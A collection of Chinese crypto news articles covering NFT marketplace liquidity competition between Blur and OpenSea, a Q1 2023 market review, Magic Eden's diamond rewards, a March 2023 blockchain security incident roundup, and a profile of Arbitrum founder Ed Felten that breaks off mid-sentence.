PFP是波普艺术的Web3表达，它背后的共通逻辑是重复的主体+随机变量。 工业上的重复形成共性，共性凝聚社区，是为一致性。变量的稀缺性，人为制造了不平等，标识社交地位的高低。对于天性爱追求“不平等”的人类来说，阶级的鄙视链是人性底层的刚需。笔者认为一致性在顺序上是优先于非一致性的，只有一致性才能产生NFT PFP的价值温床，才能生长出非一致性的社交歧视价值。PFP的价值与社区能量成正比。 而NFT这种一致性与非一致性的糅合成为了每一个NFTfi需要去面对的最大的问题。导致在处理流动性上分裂为了***P2P（CLOB）与P2Pool（AMM）***2大方向。而这两大方向各自只擅长处理一种矛盾，这成为阻碍NFTfi发展的底层矛盾。 业内吵得比较多的版税问题，放在一致性与非一致性的框架下进行解读会更清晰。 NFT艺术品，承载了艺术家的艺术价值，与它的独特性表达，它并不需要高周转，更在于收藏价值。在NFT艺术品的生命周期中，它会随着时间的流逝而增值。梵高一生未婚穷困潦倒，死后才享尽哀荣。NFT的高版税可以这种悲剧不再发生，让NFT艺术品的时间价值更早回馈到艺术家身上。所以高版税是非常契合NFT艺术品的特质。 而NFT PFP在初期沿袭了NFT艺术品的高版税。笔者认为这样的行业惯性是有很大的问题的。前文探讨过，由于PFP的一致性先于非一致性，且PFP的价值极大的依托于社区能量。所以高流通是更有利于PFP的价值增长的。PFP需要通过更好的流动性更低的摩擦，捕获更大的社区价值。笔者原以为，PFP的版税，会在PFP之间的竞争中完成。没想到最后是Blur与OpenSea的流动性战争顺便把这件事情完成了。 根据 Proof 研究总监 NFTstatistics.eth 数据， Blur 整体平均版税率仅为 0.65%，并带动了整体 NFT 市场版税的下降。 很多NFT项目方对此怨声载道。笔者想说的是，这些项目方哪来的脸，把市场红利期的利润当成了理所当然。以笔者比较熟悉的项目Phantabear为例，累积销售额35,735ETH，版税7.5%，累积版税收入2680ETH，按照ETH=1700$，折450万美金。这些费用并没有回馈到项目本身的建设，而被创始人瓜分殆尽。且不说还有Mint的费用。Phantabear仅仅是许多不干人事的NFT项目中的一员。 by：Phantabear是创始人Mark跟Will利用周杰伦的名声做的圈钱项目。后期周杰伦因为个人口碑为Phantabear所累，有接手的意愿。但是与两位创始人一直无法达成权责的重新厘清划分，导致该项目事实失败。 让NFT项目只能辛苦的通过经营社区赚钱，才是用户对NFT良性市场的最大尊重。 严格的来说，NFT Marketplace可以再细分为三类，CLOB Marketplace/AMM Protocol/Aggregator（聚合器）。 Aggregator 最早的玩家有 Gem、Genie，这两家分别被 OpenSea 与 Uniswap 收购。与其说他们是 Aggregator，倒不如说它们是OpenSea的批量操作工具。 Aggregator起于Genie， 而Gem在Genie打开市场后，带着更好用、更便利的产品进入了市场，同时它也更具客户友好性、并且拥有更为优秀的宣发和资本支持，基于上述一切，Gem在NFT聚合平台的初步竞争中取得了胜利。然而，Gem并没有快乐多久，当 OpenSea 的挑战者逐步登场之后，更强的 Aggregator Blur 出现了，然而 Blur 更像是给自己的 Marketplace 引流。不想做 Marketplace 的 Aggregator 不是好 Aggregator。 By：X2Y2也有Aggregator功能，但是X2Y2的聚合器与其说是聚合器，倒不如说是顺便提供了一个LooksRare与OpenSea的批量交易功能。 目前严谨的来说，Aggregator只有Resevior更像是专注聚合的，但是其在Blur与OpenSea的2强积压下，身影也显得比较落寞，Aggregator这个赛道可能要等市场更加军阀混战的时候才有它的空间。 NFT Marketplace一个竞争维度在于交易的便捷性。从交易界面上，可以很清楚的感知到Blur的交易体验偏向于专业交易者与批发市场，OpenSea的交易体验偏向于普通用户与零售市场。其他大部分的Marketplace是参考的OpenSea的设计的。 Blur出色的交易体验，是为什么Blur能够凝聚一些早期用户的原因。也是为什么那么多Aridrop Hunter在没有发行代币之前愿意投入资源与时间在Blur上的原因。 但对COLB Marketplace的讨论，笔者想把这个话题着重聚焦在流动性上。作为一个市场，最大的价值在于提供最好的流动性给到用户。在DeFi上的Uni最早设计的LP方案，与后来Arbitrum上异军突起的GMX的0滑点对赌与GLP设计中，无不尽力在流动性上去发力。 OpenSea作为最早的NFT Marketplace，在List NFT卖单之外，提供了Offer的买单功能。但是Offer的买单功能操作的便捷性与批量性并不太好，限制了买盘的流动性。当笔者持有大量的单一系列NFT时，出货是个头疼的事情。笔者曾经怀疑过，OpenSea是不是为了维持NFT整体市场的价格表现，刻意为之。因为更好的订单簿功能，理论上并不难。 在LooksRare上线的时候，我们曾经讨论过它的代币经济模型。它一开始采用了交易挖矿的逻辑。而交易挖矿的历史可以追溯到2018年，直到DeFi狂潮之后，市场才普遍采用了流动性挖矿。 在2020年Compound开启的流动性挖矿的观察中，我们分析过它区别于2019年Dapp狂潮与更早之前的Fcoin与龙币网的交易挖矿的地方。 交易挖矿的问题是会产生空转，不管怎么做trading wash，都会产生为了代币激励进行的垃圾交易。这些垃圾交易并不产生留存价值，无益于流动性的增长。而对于没有足够技术去低成本挖矿，只能采取主动吃单来挖矿的玩家来说，他们的交易存在瞬时性，没有“惰性”，当代币激励开始减半的时候，流动性也会随之快速衰减。这意味着挖矿补贴的高成本与低效率。 而流动性挖矿的优点在于，第一它提供的是真实的流动性，并且LP承担了风险。第二它有惰性，绝大部分的LP，并不会高频的切换它们的LP。在DeFi里面，我们甚至看到一些死掉的项目都有几十万U的Farm资金留存。并且LP除了挖矿奖励之外，还有交易手续费的分红。这更增加了它们的留存。 在Arkstream的代币经济学思考中，我们认为好的代币经济设计必须满足： 1、项目方深刻意识到代币激励是一种债务行为，谨慎的设计排放。 2、代币激励必须激励对协议长期价值产生正向推动的行为。 3、代币激励必须施加于有网络效应的协议。 以上三者缺一不可。 LooksRare后续的币价表现与交易量表现证明了交易挖矿的失败。 而后LooksRare加上了Listing的奖励。X2Y2则是在一开始就加上了Listing的奖励。在2022年3月30号之后更新代币经济2.0切换为交易挖矿，这反而是一种倒退。 流动性是双向，并且对于NFT市场来说，最大的问题并不在于缺少卖方List，而是想出货的时候，没有足够的对手方承接NFT的抛压。所以在流动性上的思考，Blur比LooksRare跟X2Y2都要想多了一层。 Blur在Airdrop2采用了Listitng挖矿，随后在Airdrop3加入了BID挖矿，分别对应流动性的两端。 在$BLUR正式发行之前，这样的双向流动性方案已经对Blur的交易量产生了巨大的正向刺激。这显然是一个成功的空投方案。 这也是笔者对Blur给予了巨大的关注的原因，Blur是NFT Marketpalce中第一个采取很积极的策勒（包含BID的产品设计，与代币激励）在解决NFT流动性上的玩家。 但Blur的流动性方案，笔者认为依旧不是最佳的方案。对比Uniswap的LP流动性设计来说，Blur的BID显得惰性不足。 目前BID，感性认知，卷积分前20榜单的一半以上中国人，有名有姓的大户/科学家/工作室，笔者都听到好几个。BID里面的资金绝大部分是没有忠诚度的。 BAYC跟MAYC的BID墙很好地说明了这点。 BAYC由于MACHI的持仓太过雄厚，都惧怕MACHI的砸盘，没有大资金去BID 1/2/3档。 而MAYC的2/3档则有大量的资金在BID。这些明显的买单墙都是为了BID积分来的，撇开这些明显的买单墙，真实的流通性做市商并不多。 Blur的BID池的ETH总量，在硅谷银行危机当天有很多撤出。当天大盘暴跌之外，NFT价格也收到巨大的挤压，绝大部分Collection的BID资金从3万ETH，跌到1万ETH。 而且因为Blur现在是0手续费的机制，除去代币激励本身，它无法像Uni一样通过手续费给LP提供激励。一个良性的系统，是当去除代币激励本身，依然能够有诱因让LP Provider去提供流动性的。$BLUR在Uniswap上线的时候，就有非常多的玩家愿意进去做LP，为了赚取LP的交易手续费，有朋友最早进去的，当天手续费就挖回来成本的50%。 一旦Blur的流动性激励取消，可以想象这些BID墙会马上崩塌。 当我们在讨论Blur的流动性挖矿给NFT市场注入的流动性的时候，我们同样也面临一个问题，就是Blur加速了NFT市场的奔溃，原先NFT市场因为流动性的问题，大户没办法迅速变现。而通过Blur的BID墙，现在鲸鱼们可以随意出货。 许多小 NFT 项目会利用 Blur 的机制进行倾销。在Blur早期机制不完善的情况下，这些项目方会先在 OpenSea 刷交易量，然后在 OpenSea 上有了托底价格后便开始在 Blur 上慢慢抬高 Bid 挂单并赚取积分。在这个过程中，有的项目方选择同时 List 部分 NFT，这样就算自己的 Bid 成交了，卖出的 NFT 也能实现部分回血。而有的项目方则持有该合集的大部分 NFT，因此可以随意抬高价格来刷积分，别人出价则不会给他们出货。 如果没有BID的竞争对手，项目方或许会安于刷Blur积分，但是如果一旦有散户或者机器人也来参与BID，在积累足够的BID深度之后，他们便会马上把自己的 Bid 撤走，然后将手中的 NFT 卖给这些出价的散户和机器人。 在这场狂欢中，NFT项目方与鲸鱼获得了宝贵的流动性，而流动性做市商获得了“宝贵”的$BLUR。 所以笔者认为Blur的代币经济需要进行升级，来增加这些套利者的成本。套利者对系统是一种伤害。 尽管这种流动性在短期内成为了NFT市场的双刃剑，但是长周期来说，流动性依然是好事。如果我们认可NFT的长期价值，那么富流动性下的崩，只是帮助价格的快速发现。 笔者认为，既然目前的Blur的代币经济设计，是不考虑NFT的非一致性的，那么完全可以考虑Uni的LP配对的方式来进行挖矿，以提高流动性做市商的惰性跟磨损。 这本质上是一种AMM的思路，再通过前端的方式聚合稀有款与地板款的交易。类似的思路Blur并不是没有做过，在被Seaport合约屏蔽的时候，Blur就是采用前端的方式来跳过OpenSea的屏蔽。 除此之外，CLOB Marketplace的竞争方向应该是往越来越专业化的方向走。例如Tensor.Trade所展示的。 Tensor包含了Tensor Trade（Aggregator）与Tensor Swap（AMM的Protocol），在用户体验方面，它的方向跟Blur是类似的，致力于提供更加丰富的信息（NFT地板价K线），跟额外的交易体验（更加丰富的订单功能）给用户。 笔者也会期待在Blur上的BID功能可以更丰富，例如加上止盈止损功能，还有批量订单化管理的Offer功能。 迫于Blur带来的竞争压力，OpenSea在2月22日开启了0手续费以对抗Blur，但是这并没有显著的提高OpenSea的交易量，更像是一个被动防守的策勒。 从流量上看，OpenSea因为Blur的发币，受到极大的打击。 而另一边，Blur的压力也不小。OpenSea的员工人数在22年裁员之后，媒体披露大概230人，最后一轮获得3亿美金融资，血条还是比较厚的。而Blur目前已经披露的融资额1400万美金，虽然成本支出更少，但是子弹也更少。0手续费的Blur不管在法律上（SEC监管），还是市场上，都没办法通过收手续费的方式给自己增加收入，也无法给$BLUR进行任何赋能，可以说Blur把它跟OpenSea都拉上了悬崖塞车，进行一场死亡即是终点的游戏。 这场战争势必要以熬死其中的一方作为结局，然而在这个过程中，X2Y2与LooksRare等二线NFT Marketplace受到了更大的挤压，可能更快倒下的反而是它们。 在AMM这个方向里面，不止有Sudoswap，还有早期的NFT20/Unicly，但是早期的方案通常还附加了碎片化，或者ERC20化。 这个过程对NFT本身的流动性并没有太大的帮助。笔者认为Sudoswap的做法相对而言返璞归正一些。 标准的AMM只能处理NFT的一致性。Sudoswap在处理非一致性上的做法，是通过多Pool的模式，让用户跟市场自行调整到不同稀有度层级匹配到不同定价层的Pool里面。然后再通过前端进行整合。这个设计是带一定的巧思的，然而实际看来，这种分层并不足以处理复杂的稀有度问题，事实上并没有解决该问题。 笔者早期对Sudoswap是寄予厚望的，也特别关注Sudoswap的空投进程。在强大的竞争对手OpenSea面前，整个NFTfi的竞争业态，并不像当年的DeFi。Uniswap的成长，很大一部分得益于2018-2019年的熊市，让它有时间去累积它的用户。 而时不待Sudoswap，不激励等于死。Web3某种程度上是一个增强版的Web2，特别是在马太效应上，Web3自带涡轮增压版的马太效应。长期关注DeFi的人就会发现，在2022年至今，ETH链上的DEX，长尾代币的捕获能力基本上都在Uni这边，除了1inch与curve有自身的定位之外，其他DEX不管是在市值还是交易量上都受到巨大的挤压。 然而Sudoswap的空投计划让羊毛党、1池跟2池玩家都寒心了。笔者甚至都怀疑项目方并没有想好好经营这个项目，Sudoswap的空投完全是为了给Xmon的持有人送福利，或者说给项目方自己送福利，毕竟大部分的Xmon都在项目方手上，而完全没有考虑对Sudoswap的长期正向激励。 与Blur截然相反，Sudoswap的空投把它空投死了。空投完之后也没有连贯的代币激励计划为自身的AMM提供流动性支持。 但是如前文所述，我们依然认为以目前CLOB Marketpalce在对地板款的处理逻辑上，AMM依然有它巨大的生命空间。基于NFT的一致性与非一致性的矛盾，不管是P2P（CLOB）还是P2Pool（AMM）的模式，都没办法很好的解决NFT的流动性问题，所以笔者认为两者的融合，以其一为主，或许是不错的方向。 尽管Blur依然有非常多的缺陷，并且$BLUR的币价从上线之后一直萎靡不振，社区也在诟病$BLUR的赋能问题，但是笔者认为，Blur致力于提高NFT市场的流动性，使得在当前时间节点，它站在了一个很重要的生态位。基于充足的流动性，才会有NFTfi的第二篇章。就像当年基于Uniswap，AAVe这些T1的DeFi之后，才会有YFI，1inch这些T2的DeFi的成长空间。 而Blur与OpenSea的悬崖塞车只是NFTfi这场无限战争序幕的第一章而已，让我们保持对NFTfi的持续关注。  ( 3 min )
    加密市场一季度回顾：BTC涨幅70%，市场复苏的转折点？
    作者：Lucas Outumuro, IntoTheBlock 编译：Felix, PANews IntoTheBlock发文总结了2023年第一季度的情况：深入研究了导致加密行业显著复苏的因素，简要概述了发挥作用的宏观力量、最相关的链上数据，以及对可能影响今年第二季度的催化剂的分析。 网络费用：使用特定区块链所花费用的总和 该指标追踪了消费意愿和使用BTC或ETH的需求。 转入交易所的加密货币可能预示着抛售压力，而提币则可能表明在正常情况下增持。 2023年第一季度，加密货币强劲反弹，BTC和ETH均实现了自2021年第一季度以来最大的季度价格涨幅。价格反弹出现在FTX崩溃后抛售疲软、风险资产宏观前景改善等积极因素之后。 BTC领跑：BTC在2023年第一季度的表现超过了大多数资产 BTC的出色表现，可能表明其作为数字价值存储的吸引力越来越大。ITB资本市场的数据显示，BTC与黄金价格的相关性从年初的-0.3上升到本季度末的0.9。 第一季度目睹了稳定币战争的白热化，随着Circle在银行业危机中苦苦挣扎，USDC经历了迄今为止最大规模的脱钩，USDT获得了更多的市场份额。 尽管自硅谷银行倒闭和美联储的“打压”以来，ETH一直落后于BTC，但ETH凭借49%的季度涨幅依然超过了许多加密资产（当然还有股票）。 资料来源：ITB 以太坊价格指标 尽管价格和市场情绪在第一季度有所回升，但加密货币的下一步走势仍不明朗。 从宏观角度上看，一直以来打压风险资产的不利因素似乎有所缓解，但与此同时越来越明显的是，加密货币已经到了“被重点打击的阶段”，伊丽莎白·沃伦 (Elizabeth Warren) 正从反加密货币运动中竞选参议院，Signature银行尽管有偿付能力，但仍被监管机构可疑地接管。 再加上加密货币内部的看空力量，在强劲的季度表现之后，人们怀疑未来价格能否继续攀升抑或是回落。 资料来源：ITB 的BTC和以太坊财务指标 资料来源：ITB 的BTC和ETH持有指标 总体而言，看涨和看跌因素的共同作用可能会使第二季度变得有趣。  ( 2 min )
    一文读懂Magic Eden的钻石奖励，是否值得赚取及如何获得？
    此前，SOL链上主流NFT市场Magic Eden上线Launchpad功能，PANews曾撰文详解其运营状态，为NFT交易平台和用户剖析其可优化的运营方式和投资方式。近期，Magic Eden在运营端上线新的活动，引入钻石奖励，激励用户使用其产品。本文PANews将为你详解如何获得Magic Eden的钻石奖励，以及该奖励是否值得赚取。 从钻石奖励赋能看，根据官方博客，用户现在可以根据不同的任务赚取钻石，并在Magic Eden平台上解锁更大的奖励，为用户提供费用折扣之外的长期利益。钻石奖励数量每月都保持不变，其奖励标准不仅仅取决于交易量。通过引入钻石激励，该平台希望为其用户提供更全面和更有价值的体验。根据Magic Eden官网信息显示，该平台正在寻求创作者与Magic Eden平台合作，为钻石激励赋能。 从项目背景和实力来看，2022年3月14日，Magic Eden完成2700万美元融资，参投方包括红杉资本、Paradigm、Greylock等。2022年6月21日，Magic Eden以16亿美元估值完成1.3亿美元B轮融资，Electric Capital和Greylock共同领投。 从产品影响力看，Magic Eden平台占据着SOL链上NFT市场的头部地位，据Magic Eden官网数据，截止目前其交易总额为5792万个SOL，交易者数量超80万个。此后Magic Eden还部署了以太坊、Polygon等多条公链，近期也推出比特币生态NFT市场。 据Dune Analytics数据显示，比特币Ordinals市场总交易量达1590.83万美元，交易笔数为38843笔，唯一用户数达18462人。Magic Eden平台上该领域的日交易量一直领先。3月30日，Magic Eden的Ordinals市场交易量约为25.56万美元，约占当日总交易量35.8万美元的71.4%。 Magic Eden目前尚未发行代币，此前仅针对早期用户空投Magic Ticket。Magic Ticke持有者可以申请加入MagicDAO参与平台治理和更多奖励活动，MagicDAO路线图显示其未来将从奖励活动、治理和社区运营三个方面进行建设。据此可以看出Magic Ticket并没有满足资本退出的条件。所以社区分析Magic Eden有较强的发币动机。而此次钻石激励活动的规则和NFT市场Blur早期空投时所设计的规则几乎一致，这让社区不禁联想该活动或成为Magic Eden以后发币时的空投参考标准之一。 钻石奖励的总数以月为单位计算，每个月奖励数量一致。需要注意的是，目前获得钻石的方式有以下三种： 1）上架：在Magic Eden上架NFT，当上架的NFT被出售成交时，用户将获得钻石。 2）bid：在Magic Eden上向某个NFT系列出价，当出价被接受时，用户将获得钻石。 3）用户完成个人资料：在个人主页填写用户名等个人资料相关的信息，完成后可以赚取钻石。 目前上架和出价钻石奖励仅针对Solana链上藏品，因为以太坊、Polygon链上目前未上线该功能。 用户的忠诚度分数决定了领取钻石奖励时的乘数，从而影响领取钻石的数量。比如忠诚度乘数为1，某个任务的基础奖励是50，那用户领取激励时获得50枚钻石。如果忠诚度乘数为2，那用户领取奖励时获得100枚钻石。忠诚度分数的计算标准为用户过去6个月在Magic Eden的交易行为，用户可以在个人奖励中心看到忠诚度得分。 100%忠诚度得分为2倍乘数；95%到100%的忠诚度得分为1.75倍乘数；90%到95%的忠诚度得分为1.5倍乘数；80%到90%的忠诚度得分为1倍乘数；低于80%的忠诚度分数将以忠诚度分数作为乘数。比如忠诚度得分为60%的用户将获得0.6的乘数，这意味着他们将获得更少的钻石。如果用户的忠诚度得分为“N/A”，则表示用户在Magic Eden过去6个月没有产生交易行为。 根据官方规则，在领取钻石奖励时采用当时的忠诚度所得的乘数。因此用户在忠诚度分数较低时可以暂缓领取钻石奖励，待通过交易等行为提高忠诚度分数后领取奖励。平台每24小时检查刷新一次忠诚度分数。 此次奖励活动除通过任务活动获得钻石奖励外，用户还可通过在Magic Eden上的交易行为赚取Magic积分。该积分不仅提升了前文中所提及的用户所需要的忠诚度，也为用户带来费用折扣。比如创作者可以以空投的方式向Magic Eden社区提供补贴、折扣或免费NFT。 Magic积分根据用户交易量的不同分为五个等级，等级越高，福利越好。用户所获得的福利最初将以NFT的形式发放在奖励中心，包括但不限于用户最喜欢的收藏中的战利品盒、生态系统合作伙伴的折扣等。具体为等级1为基本费用；交易量达到50个SOL后达到等级2，将获得5%的平台费用折扣；交易量达到250个SOL后达到等级3，等级3将获得15%的费用折扣；交易量达到1500个SOL后达到等级4，将获得25%的费用折扣；交易量达到10000个SOL后达到等级5，将获得45%的费用折扣。 用户当前所获得新增积分为上个月交易的SOL数量计算，用户每完成1个SOL（买入或卖出，铸造交易不包括在内）的交易量将获得5个Magic积分。每个月的第一天，新的积分奖励周期开始。除非用户在当前奖励周期中超过该级别，否则上个月的级别将继续保留。 随着NFT市场竞争愈来愈激烈，各平台通过各种运营活动激励用户成为一种趋势，尤其是通过发币预期来引导用户。从Magic Eden目前所处的格局和利益结构去看，其具有较强的发币动机。目前上线的钻石奖励活动也几乎全部借鉴了Blur的空投规则，并且该奖励活动仅仅基于Solana链对于用户而言获得钻石奖励所需要完成任务的成本较低。因此，对于有空闲时间的用户，多多参与Magic Eden的钻石奖励活动也未尝不可。 此外，根据官方规则，还将上线更多赚取钻石的方法，以及未来特定的钻石福利和奖励。PANews将继续跟踪报道。  ( 2 min )
    3月区块链安全报告：典型事件超21起，损失总金额约2.18亿美元
    原文：《3月发生较典型安全事件超21起，各类攻击事件损失总金额约2.18亿美元！》 作者：Beosin 又到了每月安全盘点时刻！据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台监测显示，2023年3月，各类安全事件数量和涉及金额较2月大幅增加。3月发生较典型安全事件超『21』起，各类攻击事件损失总金额约2.18亿美元，较2月上涨约283%。此外，3月诈骗跑路事件涉及金额达到了660万美元。 本月损失的主要金额来自于3月13日Euler Finance遭受攻击损失的1.97亿美元，截至目前，攻击者已退还其中1.5亿美元的资金。第二大攻击事件为SafeMoon项目在升级后引入了任意销毁代币的漏洞，损失金额达到了890万美元。本月发生了两起较为典型的针对个人用户的钓鱼事件，损失金额均在百万美元以上。此外，Optimism上借贷协议Kokomo Finance发生rug pull，部署者卷走400万美元，为近期最大的跑路事件。 DeFi方面，共发生『8』起典型安全事件 No.1 3月6日，PeopleDAO 在通过 Google Form收集月度贡献者奖励时，被黑客通过社会工程攻击盗取76枚ETH（约12万美元）。 No.2 3月7日，借贷协议Tender.Fi由于新的预言机合约中存在算法问题遭受攻击，被盗158万美元。 No.3 3月9日，攻击者对 Hedera 主网的智能合约服务代码进行攻击，获利约60万美元。 No.4 3月13日，DeFi借贷协议Euler Finance遭到闪电贷攻击，损失达到了1.97亿美元。截止3月28日，攻击者已退还至少1.5亿美元的资金。 No.5 3月15日，DeFi协议Poolz Finance在ETH、BSC和Polygon链上遭受攻击，损失约50万美元。 No.6 3月22日，Nuwa项目遭到Mev机器人的抢跑攻击，损失约11万美元。 No.7 3月29日，BSC链上SafeMoon项目在升级后引入了任意销毁代币的漏洞，遭到Mev机器人的抢跑攻击，损失达到890万美元。 No.8 3月29日，BSC链上UNMS项目受到攻击，损失约10万美元。 No.1 3月1日，大型Monkey Drainer钓鱼团伙宣布停止运营，甚至还向初出茅庐的“年轻网络罪犯”提出建议，称他们不应“为了轻松赚钱而迷失自我”。自2022年底至今，该团伙已累计盗窃至少1600万美元的NFT资产。 No.2 3月16日，NFT平台ParaSpace遭到攻击，随后被安全公司阻断并追回了2,909 ETH，协议实际损失约为50 - 150 ETH。 No.1 3月24日，以太坊上某个人地址遭到ERC20 Permit钓鱼攻击，损失400万美元。 No.2 3月30日，POAP 创始人 Patricio Worthalter 地址遭网络钓鱼攻击，损失约370万美元。 No.1 3月2日，Arbitrum生态DEX ArbiSwap发生Rug Pull，部署者获利13.8万美元。 No.2 3月8日，BSC链上ProTradex项目发生rug pull，部署者获利60万美元并转入Tornado Cash。 No.3 3月13日，BSC链上BCGA代币项目发生rug pull，部署者获利39,092美元。 No.4 DeFi协议Harvest_Keeper项目存在恶意转移用户资金，攻击者利用owner权限共获利93万美元。 No.5 3月21日，Thunder Lands发生rug pull，部署者获利7万美元。 No.6 3月27日，Optimism上借贷协议Kokomo Finance (KOKO)发生rug pull，获利约400万美元。 No.1 3月，印度执法局在洗钱案件中已缴获了超过1.15亿美元的加密货币。 No.2 3月23日消息，江苏省新沂市检察院对Ubank“炒币”骗局提起公诉，涉及传销交易量超100亿元。 No.1 3月17日，比特币 ATM 制造商 General Bytes 透露，黑客利用其 BATM 管理平台中的零日漏洞从该公司及其客户窃取了价值180万美元的加密货币。 鉴于当前区块链安全领域的新形势，『Beosin』在此总结： 从总体上看，2023年3月各类区块链安全事件涉及金额较2月大幅增加。3月各类攻击事件损失总金额达到了2.18亿美元，较2月上涨约283%。 本月诈骗跑路事件和金额均较上月大幅增加，建议用户提高警惕，做好项目背景调查。钓鱼事件在本月依然是危害用户安全的主要原因，建议用户在签名或授权之前仔细阅读内容，转账之前逐字验证收款人全部地址。本月有60%的攻击事件源于合约漏洞利用，建议项目方上线前一定要寻求专业的公司进行审计，用户在与项目交互前也应仔细查看审计报告，避免资金受到损失。  ( 2 min )
    从白宫要员到加密先锋，回顾Arbitrum创始人Ed Felten的技术生涯
    原文：《从白宫到Web3：扒一扒Arbitrum创始人Ed Felten的过往》by Jaleel 编辑：Jack 周末，Arbitrum 社区关于 DAO 金库 Token 分配的提案引起了剧烈的讨论，团队在社区投票没有通过，甚至是没有结束前，就将 Token 转移到了团队和投资机构的钱包中。在「DAO 名存实亡」的阵阵声讨中，也有人开始了解 Arbitrum 团队背后的故事。（相关阅读：《Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？》） Edward William Felten，1963 年 3 月 25 日出生。Felten 就读于加州理工学院，并于 1985 年获得物理学学位。1986 年至 1989 年，他在加州理工学院担任程序员，参与了加州理工学院的一个并行超级计算机项目。随后，他在华盛顿大学攻读计算机科学专业的研究生。1991 年获 MS 硕士学位，1993 年获博士学位，论文是关于开发并行处理器之间通信的自动化协议。 1993 年，他作为助理教授加入普林斯顿大学计算机科学系，并于 1999 年晋升为副教授，2003 年晋升为教授。2005 年，他成为普林斯顿信息与技术政策中心（CIPT）主任。他还曾担任律师事务所、公司、私人基金会和政府机构的顾问。2006 年，他加入了伍德罗·威尔逊公共和国际事务学院，研究领域拓展至公共关系。从 2006 年到 2010 年，他是电子前沿基金会 (EFF) 的董事会成员。2010 年 11 月，他被任命为美国联邦贸易委员会的首席技术官。 Ed Felten 作为 CIPT 主任的视频演讲，图源来自网络 2012 年和 2013 年间，Ed 回归了自己的教学岗位，并开始接触和研究比特币及区块链技术。Ed 对比特币的研究工作始于他写的一篇关于比特币挖矿机制的动态和稳定性的论文。当时大家都认为比特币系统是稳定的，如果每个人都按照自己的动机行事，那么必然的结果就是每个人都按照比特币的规则行事。但是 Ed Felten 证明了事实并非如此，有无限多的结果是稳定的，不过与比特币的书面规则不同。 从那时起，他就启动了几个与比特币相关的项目。比如构建工具来跟踪和诊断比特币参与者用来传播有关正在发生的事情的信息的对等网络的行为、研究矿池的动态、新型的双花攻击以及参与者应该如何防御，以及使用比特币协议设计一个去中心化的预测市场。 与此同时，一个叫做「智能合约」（Smart Contract）的新概念也吸引了 Ed 的注意，对于从小就开始接触软件和编程的他，智能合约的概念一下让他想起了 90 年代奔腾的互联网产业。「智能合约将成为新的软件平台」，Ed 告诉自己和身边的同事，自此，他又开始了有关智能合约未来发展的研究。在看到比特币网络潜在的拥堵问题后，Ed 果断地确定了自己的研究方向——扩容性解决方案。记住，这时区块链世界还没有以太坊。 时间来到 2014 年，IFP 技术（Interactive Fraud Proof）为区块链的扩容性问题提供了新的可能：一个侧链（Side-Chain）或二层链（L2-Chain）可以在享受底层链安全性的情况下，将所有运算环节搬到链下完成，大幅提升区块链的运行效率。 这一学年的 Ed，成天呆在自己的办公室里，手拿纸币对着白板绘画各种关于 IFP 技术堆栈的图表和线程。到了秋季学期，Ed 的一位教授同事开设了一门区块链课程，结课作业是：以小组为单位，设计一个基于区块链的项目。没多久，一个 6 人小组找到了 Ed，并开始与他学习和探讨如何搭建一个架在底层链上的「扩容链」。 2015 年初，在普林斯顿大学计算机学院的一间教室里，Arbitrum 以结课作品的身份首次展示在大家眼前。三个智能的学生拘谨地站在白板前，向教授和同学介绍着这个只有假想底层链的「L2 扩容链」。 Arbitrum 的结课展示，图源来自网络 和在场的大部分学生一样，Ed 对这份结课作业十分满意，并打算以 Arbitrum 为切入点，仔细研究 Roll-Up 技术的未来。但意外的是，正准备开始大展身手的 Ed 突然接到了来自白宫的电话，邀请他前去协助技术安全方面的工作。 2015 年 5 月 11 日，Ed Felten 被任命为白宫副美国首席技术官，为仅剩最后一年任期的奥巴马政府提供技术安全保障，而这段时间的工作，极大程度上改变了 Ed 对「压力」这个词的看法。「尽管在 Web3 创业同样要对很多人负责，但这根本无法与做总统的顾问相提并论」，Ed 常对身边的朋友说，「总统做的每一个决定，都影响着数千万人的生死」。由于超负荷的工作压力和需求，Ed Felten 完全没有时间和精力去考虑自己学术上的事业，「Arbitrum 计划」的开展也陷入停滞。 在白宫担任副首席技术官的 Ed Felten，图源来自网络 2018 年 1 月，Ed Felten 重新回到了普林斯顿大学，继续研究计算机技术。在那年的一场谈论 AI 未来的计算研究协会峰会上，Ed Felten 似乎对区块链和加密货币失去了兴趣。在回答观众关于加密货币的问题时，Ed 说道：「我认为加密货币的确提供了不同的支付方式，但在很多交易场景中，围绕支付的成本和挑战比围绕信任责任和风险产生的问题要少」。 2018 年，Ed Felten 在计算研究协会峰会上发表关于 AI 技术的演讲，图源来自网络 几个月后的一天，Ed 的两位博士学生史蒂文·戈德费德（Steven Goldfeder）和哈里·卡洛德纳（Harry Kalodner）找到了他，并向他提出了一个邀请：「嘿，还记得那个叫 Arbitrum 的东西么，我们再做一个吧」。「Sure！」，就这样，Ed 不假思索便接受了自己学生的邀请。 2018 年 8 月，Harry Kalodner 在第 27 届 USENIX Security 上发表了三人共同完成的学术著作，名为《Arbitrum: Scalable, private smart contracts》，论文的主要内容是通过创建 Arbitrum 来解决在不影响安全性的情况下扩展以太坊的问题。同年，三人联合创立 Offchain Labs，Arbitrum 正式立项。 2018 年 USENIX 安全研讨会 Harry Kalodner 介绍了 Arbitrum，图源来自网络 Arbitrum 简要编年史 我们都知道，作为以太坊的 Layer 2 扩展解决方案，Arbitrum 自 2020 年推出上线以来，成功克服了许多最初面临的挑战，并经历了一系列的发展和发展。在聊到最近热议的「DAO 事件」和 (AIP-1) 提案之前，我们先来简单回顾一下 Arbitrum 重要的开发经历。 2020 年 2 月，Arbitrum 的第一版测试网上线，仅支持 DAC 特定应用链且无合约部署。2020 年 10 月，Arbitrum 新一轮测试网和一般合约部署部署上线。 2021 年 1 月，OffchainLabs 在 Arbitrum 测试网上推出了一批针对 DeFi 生态系统的 Demo 产品。同年 5 月，公司部署了 Arbitrum One 测试网，有超过 250 个团队申请接入。9 月，Arbitrum 推出了主网 Arbitrum One，并宣布完成了一轮 1.2 亿美元的 B 轮融资。 2022 年 6 月，Arbitrum 推出了 Odyssey 奥德赛项目，允许用户通过参与 Odyssey NFT 推广活动或使用 Arbitrum 生态系统来获得奖励。原本计划运行 8 周的 Odyssey 项目，在第一周后就被暂停了。暂停的根本原因是新用户的大量使网络拥堵，导致 gas fee 太高，甚至已经超过了以太坊主网的 gas fee，这也让他们之后大刀阔斧地发布了基于 WASM 架构的 Nitro 主网。 2022 年 7 月，Arbitrum 宣布构建了新链「Arbitrum Nova」，接着在 9 月 1 日又宣布成功将 Arbitrum One 升级到 Nitro 